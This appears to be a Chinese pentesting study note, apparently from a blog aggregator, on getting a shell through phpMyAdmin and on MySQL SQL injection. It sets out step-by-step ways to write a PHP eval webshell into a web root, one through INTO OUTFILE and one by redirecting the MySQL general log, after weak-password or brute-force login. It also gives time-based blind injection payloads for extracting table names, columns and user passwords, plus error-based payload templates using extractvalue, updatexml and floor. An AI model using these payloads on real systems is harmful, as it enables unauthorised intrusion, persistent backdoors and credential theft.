phpmyadmin getshell方法
1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';
2,如果secure-file-priv没设置为空或指定的文件夹可以利用,写入木马,select"<?php @eval($_POST[s]);?>" into outfile "var/www/html/xx.php"

利用日志文件getshell,mysql大于5.0版本会创建日志文件,并且创建日志文件为全局变量,且可以读写的
常见的日志文件分为业务日志和系统日志,利用Phpmyadmin的日志文件去Getshell
1,通过弱口令或爆破方式登录phpmyadmin,执行sql语句select @@datadir; 得到数据库位置之后猜测源码存放的位置D:\phpstudy_pro\www下
2,查看日志状态,show variables like '%general%'
3,开启日志记录功能,并且修改记录的路径和文件名,set global general_log = 'on'
4,修改保存文件位置,set global general_log_file = 'd:/phpstudy_pro/www/log.php'
5,写入一句话select"<?php @eval($_POST[s]);?>"

基于时间的sql注入
使用特定的函数,让数据库去执行,在页面等待一定时间来查看当前页面中的注入情况

函数
sleep(),数据库暂停一段时间
benchmark(),可以测试某些特定操作的执行速度。参数1可以是需要执行的次数,参数2是表达式就是某些动作。表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数,比如benchmark(100,100*100)

操作步骤
1,找注入点,1' and sleep(3)%23
2,获取当前数据库长度,and if(ascii(substring(database(),1,1))=114,sleep(5),'bye'),只有正确了才会sleep
3,获取数据表,and if(ascii(substring((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到有价值的表,比如user
4,获取表的字段 ,and if(ascii(substring((select distinct column_name from information_schema.tables where table_schema=database() and table_name='users(需要转码16禁止)' limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到有价值的表中字段,比如user,password
5,获取值表中内容,and if(ascii(substring((select distinct select concat(user,0x7e,password) from users limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到表中内容
6,破解密码,扫描目录,登录后台

报错型sql注入
利用一些报错的函数构造Pyload,数据库执行之后会报错,将需要的数据带出来,达到攻击目的

报错函数
1,extractvalue(xml,value),extractvalue()函数也是MySQL 5.1以后推出的对xml文档数据进行查询和修改的xpath函数。
extractvalue()的xml参数随便设定一个数。利用extractvalue()获取数据的固定payload是:or extractvalue(1,concat('#',(select * from (select ....) a)))#
2,updatexml(参数1,参数2,参数3)函数,updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。改变xml文档中符合条件的值,参数1为xml文档,参数2是xpath格式字符串,参数3是string格式的用来替换查找到符合条件的字符串
updatexml()获取数据的固定payload是:or updatexml(1,concat('#',(select * from (select ...) a)),0) #
extracvalue()和updatexml()报错函数,截取字符长度都限制了32位
3,floor()函数返回小于等于该值的最大整数,必需和conut() 计数,rand()产生0到1随机数,但是自己设置数的话会变长固定的, group by排序,等配合使用,只要可以达到相同目的的函数都可以使用
(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'

2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记的更多相关文章

  1. DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

    DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...

  2. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  3. 零基础到精通Web渗透测试的学习路线

    小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...

  4. 2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记

    sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2, ...

  5. WEB渗透测试基础工具

    代理查询网站:hidemyass(隐藏我的屁股) HTTrack:HTTrack是一个免费和易用的离线浏览工具(浏览器),它可以允许你下载整个WWW网站至本地目录,并且通过遍历网站目录获取HTML,图 ...

  6. 怎么规划一个零基础学习Unity3D的“方法”或者“流程”?

    具体出处:https://www.zhihu.com/question/35542990 我只是一个计算机相关专业毕业的,已经掌握了基础的C#并开发过.net的.目前突然心血来潮对unity3D有兴趣 ...

  7. 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细

        常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...

  8. kali渗透测试基础

    一侦查 研究如何收集有关目标的情报,比如开发那些端口用来通信,托管在哪里,提供给客户的服务类型等. 交付内容应该包括需要攻击的所有目标资产清单,与那些资产关联的应用,使用的服务以及可能的资产所有者. ...

  9. kali黑客渗透测试基础环境准备

    1.apt-get install python-nmap 2.apt-get install python-setuptools 正在读取软件包列表... 完成 正在分析软件包的依赖关系树      ...

随机推荐

  1. Servlet处理原生Ajax请求

    萌新小白人生中的第一篇博客,难免会有差错,还望各位大佬多多包涵. 1. Ajax技术简介      Ajax(Asynchronous JavaScript and XML,异步JavaScript和 ...

  2. beanfactory中单例bean的初始化过程(一)

    Date 10.06 pm Point 完成beanfactory中单例bean的初始化 beanFactory.preInstantiateSingletons() 拿到所有的bean定义信息(在 ...

  3. django-ForeignKey,OneToOneField,ManyToManyField

    进入到django自带的related.py中,可以看到 1.ForeignKey 初始化的参数有: to, on_delete, related_name=None, related_query_n ...

  4. (三)django--带Template的网站

    我们接着(二),在new下新建一个templates(注意必须是这个名字,不然要进行配置),然后在该目录下新建一个test.html 2.我们在pycharm中新建的html文件里面不会有内容,我们输 ...

  5. Spring Boot 2.X(十四):日志功能 Logback

    Logback 简介 Logback 是由 SLF4J 作者开发的新一代日志框架,用于替代 log4j. 主要特点是效率更高,架构设计够通用,适用于不同的环境. Logback 分为三个模块:logb ...

  6. 过滤器、拦截器和AOP的分析与对比

    目录 一.过滤器(Filter) 1.1 简介 1.2 应用场景 1.3 源码分析 二.拦截器(Interceptor) 2.1 简介 2.2 应用场景 2.2 源码分析 三.面向切面编程(AOP) ...

  7. JDK JRE JVM的区别与关系

    JDK JAVA开发工具包    他包含了JRE   JAVA运行环境   JVM JAVA虚拟机他是跨平台的核心主件   他将Java源文件编译成 .class结尾字节码文件交由不同计算机执行    ...

  8. MIT线性代数:7.主变量,特解,求解AX=0

  9. 学习笔记69_Logistic回归

    Logistic回归(逻辑回归)进行分类的主要思想:根据现有数据对分类边界线建立回归公式,以此进行分类. 知乎上的简述: 该算法可根据已知的一系列因变量估计离散数值(比方说二进制数值 0 或 1 ,是 ...

  10. 『题解』洛谷P4016 负载平衡问题

    title: categories: tags: - mathjax: true --- Problem Portal Portal1:Luogu Portal2: LibreOJ Descripti ...